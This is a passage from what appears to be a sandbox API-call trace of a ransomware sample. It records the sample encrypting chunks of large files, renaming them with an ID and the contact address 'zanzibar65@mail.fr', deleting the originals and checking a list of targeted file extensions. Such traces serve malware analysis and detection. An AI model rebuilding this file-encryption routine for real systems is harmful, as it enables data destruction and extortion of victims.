nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.743] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.744] ReadFile (in: hFile=0x1cc, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.775] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.775] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.775] ReadFile (in: hFile=0x1cc, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.792] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0050.792] WriteFile (in: hFile=0x1cc, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0050.810] SetEndOfFile (hFile=0x1cc) returned 1 [0050.810] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0050.978] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.978] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.979] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.979] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.980] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0050.980] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.982] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0050.982] CloseHandle (hObject=0x1cc) returned 1 [0050.982] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.983] lstrlenW (lpString=".doc") returned 4 [0050.983] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.983] lstrlenW (lpString=".docx") returned 5 [0050.983] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0050.983] lstrlenW (lpString=".pdf") returned 4 [0050.983] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.983] lstrlenW (lpString=".xls") returned 4 [0050.983] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.983] lstrlenW (lpString=".xlsx") returned 5 [0050.983] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0050.983] lstrlenW (lpString=".ppt") returned 4 [0050.983] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.983] lstrlenW (lpString=".zip") returned 4 [0050.983] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.983] lstrlenW (lpString=".rar") returned 4 [0050.983] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.983] lstrlenW (lpString=".bz2") returned 4 [0050.983] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.983] lstrlenW (lpString=".7z") returned 3 [0050.983] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.983] lstrlenW (lpString=".dbf") returned 4 [0050.983] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.984] lstrlenW (lpString=".1cd") returned 4 [0050.984] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.984] lstrlenW (lpString=".jpg") returned 4 [0050.984] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.984] lstrlenW (lpString=".doc") returned 4 [0050.984] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.984] lstrlenW (lpString=".docx") returned 5 [0050.984] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0050.984] lstrlenW (lpString=".pdf") returned 4 [0050.984] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.984] lstrlenW (lpString=".xls") returned 4 [0050.984] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.984] lstrlenW (lpString=".xlsx") returned 5 [0050.984] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0050.984] lstrlenW (lpString=".ppt") returned 4 [0050.984] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.984] lstrlenW (lpString=".zip") returned 4 [0050.984] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.984] lstrlenW (lpString=".rar") returned 4 [0050.984] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.984] lstrlenW (lpString=".bz2") returned 4 [0050.984] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.984] lstrlenW (lpString=".7z") returned 3 [0050.984] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.984] lstrlenW (lpString=".dbf") returned 4 [0050.984] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.985] lstrlenW (lpString=".1cd") returned 4 [0050.985] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0050.985] lstrlenW (lpString=".jpg") returned 4 [0050.985] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.985] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0050.985] lstrlenW (lpString="VisiorWW.cab") returned 12 [0050.985] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.985] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=195011319) returned 1 [0050.985] CloseHandle (hObject=0x1cc) returned 1 [0050.985] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0050.985] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.985] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0050.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.986] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0050.986] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.986] ReadFile (in: hFile=0x1cc, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.992] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.994] ReadFile (in: hFile=0x1cc, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.998] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.998] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0050.998] ReadFile (in: hFile=0x1cc, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.013] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0051.013] WriteFile (in: hFile=0x1cc, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0051.728] SetEndOfFile (hFile=0x1cc) returned 1 [0051.732] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0052.375] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0052.375] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.376] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0052.376] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.378] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0052.378] WriteFile (in: hFile=0x1cc, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.380] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0052.380] CloseHandle (hObject=0x1cc) returned 1 [0052.380] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0052.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.381] lstrlenW (lpString=".doc") returned 4 [0052.381] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.381] lstrlenW (lpString=".docx") returned 5 [0052.381] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.381] lstrlenW (lpString=".pdf") returned 4 [0052.381] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.381] lstrlenW (lpString=".xls") returned 4 [0052.381] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.381] lstrlenW (lpString=".xlsx") returned 5 [0052.381] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.381] lstrlenW (lpString=".ppt") returned 4 [0052.381] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.381] lstrlenW (lpString=".zip") returned 4 [0052.381] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.381] lstrlenW (lpString=".rar") returned 4 [0052.381] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.381] lstrlenW (lpString=".bz2") returned 4 [0052.381] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.381] lstrlenW (lpString=".7z") returned 3 [0052.381] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.381] lstrlenW (lpString=".dbf") returned 4 [0052.381] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.381] lstrlenW (lpString=".1cd") returned 4 [0052.381] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.382] lstrlenW (lpString=".jpg") returned 4 [0052.382] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.382] lstrlenW (lpString=".doc") returned 4 [0052.382] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.382] lstrlenW (lpString=".docx") returned 5 [0052.382] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0052.382] lstrlenW (lpString=".pdf") returned 4 [0052.382] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.382] lstrlenW (lpString=".xls") returned 4 [0052.382] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.382] lstrlenW (lpString=".xlsx") returned 5 [0052.382] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0052.382] lstrlenW (lpString=".ppt") returned 4 [0052.382] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.382] lstrlenW (lpString=".zip") returned 4 [0052.382] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.382] lstrlenW (lpString=".rar") returned 4 [0052.382] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.382] lstrlenW (lpString=".bz2") returned 4 [0052.382] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.382] lstrlenW (lpString=".7z") returned 3 [0052.382] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.382] lstrlenW (lpString=".dbf") returned 4 [0052.382] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.382] lstrlenW (lpString=".1cd") returned 4 [0052.382] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0052.383] lstrlenW (lpString=".jpg") returned 4 [0052.383] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.383] lstrcmpiW (lpString1=".EXE", lpString2=".html") returned -1 [0052.383] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0052.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0052.974] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=629664) returned 1 [0052.974] CloseHandle (hObject=0x228) returned 1 [0052.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0052.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0052.974] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0052.974] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0052.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.975] GetLastError () returned 0x0 [0052.975] ReadFile (in: hFile=0x228, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0052.987] WriteFile (in: hFile=0x170, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0052.998] ReadFile (in: hFile=0x228, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0052.998] WriteFile (in: hFile=0x170, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.998] SetEndOfFile (hFile=0x170) returned 1 [0052.998] CloseHandle (hObject=0x170) returned 1 [0052.998] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0052.998] SetEndOfFile (hFile=0x228) returned 1 [0053.003] CloseHandle (hObject=0x228) returned 1 [0053.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0053.004] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0053.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.004] lstrlenW (lpString=".doc") returned 4 [0053.004] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0053.004] lstrlenW (lpString=".docx") returned 5 [0053.004] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0053.004] lstrlenW (lpString=".pdf") returned 4 [0053.004] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0053.004] lstrlenW (lpString=".xls") returned 4 [0053.004] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0053.004] lstrlenW (lpString=".xlsx") returned 5 [0053.004] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0053.004] lstrlenW (lpString=".ppt") returned 4 [0053.004] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0053.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.004] lstrlenW (lpString=".zip") returned 4 [0053.005] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0053.005] lstrlenW (lpString=".rar") returned 4 [0053.005] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0053.005] lstrlenW (lpString=".bz2") returned 4 [0053.005] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0053.005] lstrlenW (lpString=".7z") returned 3 [0053.005] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0053.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.005] lstrlenW (lpString=".dbf") returned 4 [0053.005] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0053.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.005] lstrlenW (lpString=".1cd") returned 4 [0053.005] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0053.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.005] lstrlenW (lpString=".jpg") returned 4 [0053.005] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0053.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.005] lstrlenW (lpString=".doc") returned 4 [0053.005] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0053.005] lstrlenW (lpString=".docx") returned 5 [0053.005] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0053.005] lstrlenW (lpString=".pdf") returned 4 [0053.005] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0053.005] lstrlenW (lpString=".xls") returned 4 [0053.005] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0053.005] lstrlenW (lpString=".xlsx") returned 5 [0053.005] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0053.005] lstrlenW (lpString=".ppt") returned 4 [0053.005] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0053.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0053.005] lstrlenW (lpString=".zip") returned 4 [0053.005] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0053.005] lstrlenW (lpString=".rar") returned 4 [0053.006] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0053.006] 